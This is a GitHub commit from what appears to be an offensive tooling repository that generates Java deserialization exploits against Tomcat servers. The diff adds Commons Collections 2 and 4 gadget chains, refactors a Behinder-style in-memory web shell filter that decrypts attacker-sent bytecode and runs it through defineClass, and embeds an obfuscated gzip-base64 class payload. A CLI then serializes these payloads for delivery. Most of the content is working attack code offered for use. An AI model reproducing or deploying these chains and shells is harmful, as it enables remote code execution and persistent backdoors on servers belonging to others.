Skip to content

Commit

Permalink
Code refactoring
Browse files Browse the repository at this point in the history
Signed-off-by: XhstormR <[email protected]>
  • Loading branch information
XhstormR committed Jul 15, 2020
1 parent 520562a commit 17b6de6
Show file tree
Hide file tree
Showing 9 changed files with 87 additions and 53 deletions.
2 changes: 1 addition & 1 deletion assets/run.bat
Original file line number Diff line number Diff line change
@@ -1 +1 @@
busybox gzip -9 -c -k FilterImpl.class | busybox base64 | busybox tr -d "\n" > 123.txt
busybox gzip -9 -c -k FilterImpl.class | busybox base64 | busybox tr -d "\n" > FilterImpl.class.txt
6 changes: 1 addition & 5 deletions src/main/java/com/xhstormr/app/TomcatBehinderFilter.java
Original file line number Diff line number Diff line change
Expand Up @@ -42,11 +42,7 @@ public void doFilter(ServletRequest request, ServletResponse response, FilterCha
c.init(2, new SecretKeySpec(session.getAttribute("u").toString().getBytes(), "AES"));
byte[] bytes = c.doFinal(Base64.getDecoder().decode(req.getReader().readLine()));

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(new TomcatBehinderFilter(), bytes, 0, bytes.length);

clazz.newInstance().equals(new Object[]{req, rsp});
new TomcatBehinderFilter().defineClass(null, bytes, 0, bytes.length).newInstance().equals(new Object[]{req, rsp});
return;
} catch (Exception e) {
e.printStackTrace();
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@ public class TomcatBehinderFilterTemplatesImpl extends AbstractTranslet {

static {
try {
String base64 = "H4sIAAAAAAACA6VXB3gcVxH+V1feae/J5ZxYOeOGY8unxhkwgUghWM2OiGQrulPEWUBY3T1Ja592L7t7shR6CSX0XkJvoYRiA2ddjB3TIaG30HtJ6C10Yubt6iSdtGfnA92n2X0z/86bmTcz77077rvtDIC9ihrBcyL4QAQfjOBEBB+P4DMRJRhRWESpZ/gow+0M32b4DsN3Gb7H8H2GHzD8kOFHDD9m+AnDTxl+xvBzhl8w/JLhboZ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OuCOQd6vwRcGayjvD4u5WwTfhTQXXLgiN0l2zhENlOU09up6cKwnpUhMEBnRrqokRCpL3F6urFl8dQpvPBWMKtpwTxyh7a96PKufZeT698oRbz33holwyxNHlXKozp+iedn4MU7D9flzByLFBWpppCYpa1cipVm7Jc7uDVPNeXsh5CclWZIqMN/JC0BAvwJZ26yvWF2Q6UiJ6Xw9YM5YqDY5atA1z1g/IiMyaYQI/gjhLFPKeRsiWwdtEtFfTpNe8HOJ2BcLV275XGu3ipL2YjxHHLKemUqRuGZRxMb3Kmuj6v5nejPX0pbcN0dup14I6agGxXQvocXH5Cew5Dvmn0EvmLb6S0oQGRIh3suMMWrvDnWewvbs+ES7hWgXdDYlwPFLCNXX0hkktYMDFYLwurri4rLnZRXc3SzTEWYKVkAkhUV/CKCUGc7H7eDy8gCuz3az+JDZlpVIJ6Tp6Tj3MxcPj4RMYcnFVgi2gV65E5clFykWfi33dDSfRmD2BLiXREEo0nHbxQBcPqT+FtdlQIpzOhhP1aReXjh938dCujs4ShkP0aKsjA4bpGbcGI7jD+yq4k3i7UXeWWIx+FzFczLCFoZVhO6O3IM5CRXhZAoV54+hpt+i/e0kYpu+t5Jqki6tLGFPoqdeWHXbxqJF4e7zBxYOy+8MurujquBOdLh7R6TtpVwn7Q7QDcnx/KHwKzdlQPJQuYSSMeFu8PnQK3MWDsyM0dG9nB3XXunjkuJykgyYpf2/DupFyu/NuMjh0O1naChM3esd4jH5lS7chdJbY0p42+l8vrYmfpbc6PLtkINyHNy0a1kT/0mVKORxKSzHT5PWXRPgvAOoKW40QAAA=";
byte[] bytes = ungzip(Base64.getDecoder().decode(base64));
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
Expand Down
4 changes: 4 additions & 0 deletions src/main/java/com/xhstormr/app/TomcatShellFilter.java
Original file line number Diff line number Diff line change
Expand Up @@ -83,3 +83,7 @@ public void init(FilterConfig filterConfig) {
public void destroy() {
}
}

/*
https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA
*/
70 changes: 70 additions & 0 deletions src/main/kotlin/com/xhstormr/app/Chain.kt
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
package com.xhstormr.app

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
import java.util.PriorityQueue
import javax.xml.transform.Templates
import org.apache.commons.collections4.Transformer
import org.apache.commons.collections4.comparators.TransformingComparator
import org.apache.commons.collections4.functors.ChainedTransformer
import org.apache.commons.collections4.functors.ConstantTransformer
import org.apache.commons.collections4.functors.InstantiateTransformer
import org.apache.commons.collections4.functors.InvokerTransformer

enum class Chain {

CommonsCollections2Chain {
override fun generate(payload: Class<*>): Any {
val templates = Gadgets.createTemplatesImpl(payload)
// mock method name until armed
val transformer = InvokerTransformer<Any, Any>(
"toString",
arrayOfNulls(0),
arrayOfNulls(0)
)

// create queue with numbers and basic comparator
val queue = PriorityQueue(2, TransformingComparator(transformer))
// stub data for replacement later
queue.add(1)
queue.add(1)

// switch method called by comparator
transformer.setFieldValue("iMethodName", "newTransformer")

// switch contents of queue
val queueArray = queue.getFieldValue("queue") as Array<Any>
queueArray[0] = templates
queueArray[1] = 1
return queue
}
},

CommonsCollections4Chain {
override fun generate(payload: Class<*>): Any {
val templates = Gadgets.createTemplatesImpl(payload)
val constant = ConstantTransformer<Any, Any>(String::class.java)

// mock method name until armed
var paramTypes: Array<Class<*>> = arrayOf(String::class.java)
var args: Array<Any> = arrayOf("foo")
val instantiate = InstantiateTransformer<Any>(paramTypes, args)

// grab defensively copied arrays
paramTypes = instantiate.getFieldValue("iParamTypes") as Array<Class<*>>
args = instantiate.getFieldValue("iArgs") as Array<Any>
val chain = ChainedTransformer<Any>(constant as Transformer<Any, Any>, instantiate as Transformer<Any, Any>)

// create queue with numbers
val queue = PriorityQueue(2, TransformingComparator(chain))
queue.add(1)
queue.add(1)

constant.setFieldValue("iConstant", TrAXFilter::class.java)
paramTypes[0] = Templates::class.java
args[0] = templates
return queue
}
};

abstract fun generate(payload: Class<*>): Any
}

This file was deleted.

14 changes: 8 additions & 6 deletions src/main/kotlin/com/xhstormr/app/Main.kt
Original file line number Diff line number Diff line change
Expand Up @@ -10,23 +10,25 @@ import java.util.Base64

object App : CliktCommand(printHelpOnEmptyArgs = true) {

private val chain by option().enum<Chain>().required()

private val payload by option(help = "Password: xhstormr").enum<Payload>().required()

override fun run() {
// exploit(CommonsCollections2ObjectPayload, clazz<TomcatShellFilterTemplatesImpl>())
// exploit(CommonsCollections2ObjectPayload, clazz<TomcatBehinderFilterTemplatesImpl>())
// exploit(Chain.CommonsCollections2Chain, clazz<TomcatShellFilterTemplatesImpl>())
// exploit(Chain.CommonsCollections2Chain, clazz<TomcatBehinderFilterTemplatesImpl>())

CommonsCollections2ObjectPayload
.getObject(payload.clazz)
chain
.generate(payload.clazz)
.serialize(System.out)
}
}

fun main(args: Array<String>) = App.main(args)

fun exploit(payload: ObjectPayload, clazz: Class<*>) {
fun exploit(chain: Chain, payload: Class<*>) {
try {
val any = payload.getObject(clazz)
val any = chain.generate(payload)
println(any)
ObjectInputStream(ByteArrayInputStream(any.serialize()))
.readObject()
Expand Down
5 changes: 0 additions & 5 deletions src/main/kotlin/com/xhstormr/app/ObjectPayload.kt

This file was deleted.

4 changes: 2 additions & 2 deletions src/main/kotlin/com/xhstormr/app/Payload.kt
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
package com.xhstormr.app

enum class Payload(val clazz: Class<*>) {
CommonsCollections2ForTomcatShell(clazz<TomcatShellFilterTemplatesImpl>()),
CommonsCollections2ForTomcatBehinder(clazz<TomcatBehinderFilterTemplatesImpl>());
TomcatShell(clazz<TomcatShellFilterTemplatesImpl>()),
TomcatBehinder(clazz<TomcatBehinderFilterTemplatesImpl>());
}

0 comments on commit 17b6de6

Please sign in to comment.